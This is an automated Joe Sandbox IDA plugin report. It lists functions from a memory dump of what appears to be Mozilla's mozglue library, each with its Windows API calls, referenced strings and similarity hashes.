Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 7843e1838cfe3d3f512077ab7617c5c50eb11f92068d2e5d39f114c507abbe57
Instruction ID: 6fede283a2d6163a508d0e18f03107791145a06e7529330c16b7ed74f3f04ee7
Opcode Fuzzy Hash: 7843e1838cfe3d3f512077ab7617c5c50eb11f92068d2e5d39f114c507abbe57
Instruction Fuzzy Hash: C3F0B475200660ABDF106F688C4899E77BDEB862AEF000455FA4D83746CF354C0ACB60

Function 6CAC0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAC0DF8), ref: 6CAC0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAC0EA1
__Init_thread_footer.LIBCMT ref: 6CAC0EB5
FreeLibrary.KERNEL32 ref: 6CAC0EC5

Strings

kernel32.dll, xrefs: 6CAC0E7D
GetProcessMitigationPolicy, xrefs: 6CAC0E9B

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: c80c9b0a24f59aa7233b313ca1b82a22417dfd54c6e0329b3b1899006969661a
Instruction ID: 8c0c7f119da45f9e1c9b0acdbfa8e568520db490f511f0acfe89da51e9349be2
Opcode Fuzzy Hash: c80c9b0a24f59aa7233b313ca1b82a22417dfd54c6e0329b3b1899006969661a
Instruction Fuzzy Hash: 1F0181B87403D5CBDF209FE9CA1CB4A37B6F756314F1405A5D92D83B80D774A888CA46

Function 6CAF05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CAECFAE,?,?,?,6CAB31A7), ref: 6CAF05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CAECFAE,?,?,?,6CAB31A7), ref: 6CAF0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAB31A7), ref: 6CAF061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAB31A7), ref: 6CAF0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAF061B, 6CAF0625
<jemalloc>, xrefs: 6CAF05FA, 6CAF060F

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d665b16b5667822019074eefad49a494339e7d0b68461a5d3f4a2454371694c9
Instruction ID: 33a68323d5845126c41a44d1310e22d8b4132cab07a6704e7e4af7c86ef518ec
Opcode Fuzzy Hash: d665b16b5667822019074eefad49a494339e7d0b68461a5d3f4a2454371694c9
Instruction Fuzzy Hash: EBE08CE2A0109037F614225AAC86DBB765CDBC6234F080039FD0D83301E95EED1A51F7

Function 6CAC05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9948b7243e3073cfad7254eb16861d3a69cb4c85f098eb6a700a68b88068d64
Instruction ID: 02be2e096a903b9df9af4da5df0c1ef85774af2f1ac63fab9f0f55c90939879b
Opcode Fuzzy Hash: d9948b7243e3073cfad7254eb16861d3a69cb4c85f098eb6a700a68b88068d64
Instruction Fuzzy Hash: E1A149B4A00645CFDB24CF29C594A9EFBF1BF49304F44866ED84A97B00E770A999CF91

Function 6CB114A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB114C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB114E2
GetCurrentThreadId.KERNEL32 ref: 6CB11546
InitializeConditionVariable.KERNEL32(?), ref: 6CB115BA
free.MOZGLUE(?), ref: 6CB116B4

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 7fc32b5d2731a77c9f2b533fe4db01e8f9b40e33ea8188b68966d15e60211b4b
Instruction ID: 4a47abac98cdd5df98f50b04d3177698e8716e16453d6d346b5ccd5b9c37bb38
Opcode Fuzzy Hash: 7fc32b5d2731a77c9f2b533fe4db01e8f9b40e33ea8188b68966d15e60211b4b
Instruction Fuzzy Hash: 8B61E271A047949BDB219F24D880BDE77B4FF99308F44851CED8A57B01DB31E949CB92

Function 6CB09F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB09FDB
free.MOZGLUE(?,?), ref: 6CB09FF0
free.MOZGLUE(?,?), ref: 6CB0A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB0A0BE
free.MOZGLUE(?,?), ref: 6CB0A0D5
free.MOZGLUE(?,?), ref: 6CB0A0EB

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 1275a91a43e4476afc67c14f8c40da55eb90fd9d0eedeb4184472c1c87abc38c
Instruction ID: c497e682832762f48fe53690cff67df16c9d6c78eb3ef381e26acdd894db87d1
Opcode Fuzzy Hash: 1275a91a43e4476afc67c14f8c40da55eb90fd9d0eedeb4184472c1c87abc38c
Instruction Fuzzy Hash: 4461D1759087469FC711CF18C48059AB7F5FF88329F148659E8999B702EB32E986CFC2

Function 6CB0DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB0D38A,?), ref: 6CB0DC6F
free.MOZGLUE(?,?,?,?,?,6CB0D38A,?), ref: 6CB0DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB0D38A,?), ref: 6CB0DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB0D38A,?), ref: 6CB0DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB0D38A,?), ref: 6CB0DD4A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 0e87e46cea80cb14111716bc00de62bbf6b844130d1d1e7f9750349af6dbfc6b
Instruction ID: e5bd4a7cb3d7c3b0fc38df583af4c3df785fbd1ddd985902c1b0570d89c5c4b8
Opcode Fuzzy Hash: 0e87e46cea80cb14111716bc00de62bbf6b844130d1d1e7f9750349af6dbfc6b
Instruction Fuzzy Hash: C24156B5B006158FCB10CFA9D88099EBBB6FF88318B554569DA09ABB51DB31FC04CB90

Function 6CAF6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CAEFA80: GetCurrentThreadId.KERNEL32 ref: 6CAEFA8D
Part of subcall function 6CAEFA80: AcquireSRWLockExclusive.KERNEL32(6CB3F448), ref: 6CAEFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAF6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAF67C8

Part of subcall function 6CB04290: memcpy.VCRUNTIME140(?,?,6CB12003,6CB10AD9,?,6CB10AD9,00000000,?,6CB10AD9,?,00000004,?,6CB11A62,?,6CB12003,?), ref: 6CB042C4

Strings

data, xrefs: 6CAF6593

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 73a0c5522650f5206bc48f6181735a9f0a830c1afe3c71876868c05f7f03bdef
Instruction ID: a7bea7afc162b584b13fb98eb2020d0ea6b602ed417605235481bfa333b86e0b
Opcode Fuzzy Hash: 73a0c5522650f5206bc48f6181735a9f0a830c1afe3c71876868c05f7f03bdef
Instruction Fuzzy Hash: 0FD1C2757083808FD724DF24D851BAFBBE5AFD5308F14492DE49987B51DB30A889CB52

Function 6CAED5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CABEB57,?,?,?,?,?,?,?,?,?), ref: 6CAED652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CABEB57,?), ref: 6CAED660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CABEB57,?), ref: 6CAED673
free.MOZGLUE(?), ref: 6CAED888

Strings

|Enabled, xrefs: 6CAED81E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: a45f1f44e00a869de30a504c3b9468e0eddedb63244dff5c1ed9b08a8c2ab32c
Instruction ID: d44288bc8a7004215aa6ae1cd477491143713993f7a80f2802349f3705eb39d0
Opcode Fuzzy Hash: a45f1f44e00a869de30a504c3b9468e0eddedb63244dff5c1ed9b08a8c2ab32c
Instruction Fuzzy Hash: E0A1E3B0E043458FDB11CF69C4906AEBBF5AF89318F18805DD889AB741D735A889CBE1

Function 6CAEF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CAEF480

Part of subcall function 6CABF100: LoadLibraryW.KERNEL32(shell32,?,6CB2D020), ref: 6CABF122
Part of subcall function 6CABF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CABF132

CloseHandle.KERNEL32(00000000), ref: 6CAEF555

Part of subcall function 6CAC14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAC1248,6CAC1248,?), ref: 6CAC14C9
Part of subcall function 6CAC14B0: memcpy.VCRUNTIME140(?,6CAC1248,00000000,?,6CAC1248,?), ref: 6CAC14EF

Part of subcall function 6CABEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CABEEE3

CreateFileW.KERNEL32 ref: 6CAEF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CAEF523

Strings

\oleacc.dll, xrefs: 6CAEF4CB

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 35d3f3ac31901cc5b837d49eb2e9da20967a9fc853be8503062118a130f76315
Instruction ID: 60806be445523e91233a4d3d348b9c08e8e423814dec11ca4f18208885ea3a96
Opcode Fuzzy Hash: 35d3f3ac31901cc5b837d49eb2e9da20967a9fc853be8503062118a130f76315
Instruction Fuzzy Hash: 734192706087509FD720DF29DD84A9AB7F4EF98318F500A1CF59593690EB34D989CBE2

Function 6CAFE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFE04F

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CAFE057

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: dc6f5d9a2b4c067f005e31e48525bfcafba3c44c79af5708dc74de73c2ec2b85
Instruction ID: 1d085eacefe928c57a1d5df315def685ff9d85df991418e4e94717805fde4eb6
Opcode Fuzzy Hash: dc6f5d9a2b4c067f005e31e48525bfcafba3c44c79af5708dc74de73c2ec2b85
Instruction Fuzzy Hash: AF21C274B001188FDF04DF64D958AAEB7B9AF85308F184425F92AD7740DB35A98ACBE1

Function 6CB174A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB17526
__Init_thread_footer.LIBCMT ref: 6CB17566
__Init_thread_footer.LIBCMT ref: 6CB17597

Strings

kernel32.dll, xrefs: 6CB17557
UnmapViewOfFile2, xrefs: 6CB17552

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 4dfcad28e35b8cf3ead5d73ed1301fef02dcded9e1bf07491daba1d4b346be6d
Instruction ID: bccc6f980c0ad69ec7571109a3712ce9c3daa30096bad61e499b6bae084df28b
Opcode Fuzzy Hash: 4dfcad28e35b8cf3ead5d73ed1301fef02dcded9e1bf07491daba1d4b346be6d
Instruction Fuzzy Hash: 1A214935708590E7CB249FA9C918E9D3776EB56338F040569E40D67F40CB70AC068AD2

Function 6CB1A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3F770,-00000001,?,6CB2E330,?,6CADBDF7), ref: 6CB1A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CADBDF7), ref: 6CB1A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CADBDF7), ref: 6CB1A7E4
LeaveCriticalSection.KERNEL32(6CB3F770), ref: 6CB1A80A

Strings

accelerator.dll, xrefs: 6CB1A7BF

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 9cb24fa8e5c838d2c29f3cddd405876ebefbfd9ff7cdf5b483c735a22592426d
Instruction ID: 9f90da847ad8d0d2d25d98c831e195325670d5b79d2cdc3c80065a79c7bfc033
Opcode Fuzzy Hash: 9cb24fa8e5c838d2c29f3cddd405876ebefbfd9ff7cdf5b483c735a22592426d
Instruction Fuzzy Hash: 2C018F75604254DF9F04CF99D888C2577B8FB9932570484AAE80D8B751DB70A908CFA2

Function 6CABF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CABEE51,?), ref: 6CABF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CABF0C2

Strings

ole32, xrefs: 6CABF0AD
Could not find CoTaskMemFree, xrefs: 6CABF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CABF0DC

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 3b2f0bd883358e003f3001c95b0f7b99a59373a501f08d273e40181b3815e11b
Instruction ID: 62612d6e16f0a079699def7467de8169943355da74562c672b7277a267035f0e
Opcode Fuzzy Hash: 3b2f0bd883358e003f3001c95b0f7b99a59373a501f08d273e40181b3815e11b
Instruction Fuzzy Hash: 8AE0D87D74D6529B9F145A66AC0862E37BC6B1221970C842DE409E2E54FE30D010C615

Function 6CAF0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7204), ref: 6CAF0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CAF00A7
FreeLibrary.KERNEL32(?,6CAC7204), ref: 6CAF00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CAF00A1
wintrust.dll, xrefs: 6CAF0083

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 9ebf212cef14da48e411c2d179a17bfd785d734270d3fa151a75e6055344e86e
Instruction ID: 32a32e6d23f1d63dd0aa5c341144d75919a79cd32563a3b9d3d26e9624eb2c0b
Opcode Fuzzy Hash: 9ebf212cef14da48e411c2d179a17bfd785d734270d3fa151a75e6055344e86e
Instruction Fuzzy Hash: EBE012B8200760DBEF28AF2AC8087093BF8A70B346F00445AFD2CC3694DBB4D0848F11

Function 6CAF00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7235), ref: 6CAF00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CAF00F7
FreeLibrary.KERNEL32(?,6CAC7235), ref: 6CAF010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CAF00F1
wintrust.dll, xrefs: 6CAF00D3

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 8058693a65556c4d86a8e2d5b9193b14678684d37e2bb7f7edf25a9cc953b903
Instruction ID: 44e035df02d1599583e3c14c1a0473857c594c0e68befb0b56b69336440cbf10
Opcode Fuzzy Hash: 8058693a65556c4d86a8e2d5b9193b14678684d37e2bb7f7edf25a9cc953b903
Instruction Fuzzy Hash: F6E04674385365DBEF249F29CA09B2A3BF8E703206F144859ED1E83A80DBB0C080CB10

Function 6CB1C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB1C0E9), ref: 6CB1C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB1C437
FreeLibrary.KERNEL32(?,6CB1C0E9), ref: 6CB1C44C

Strings

NtQueryVirtualMemory, xrefs: 6CB1C431
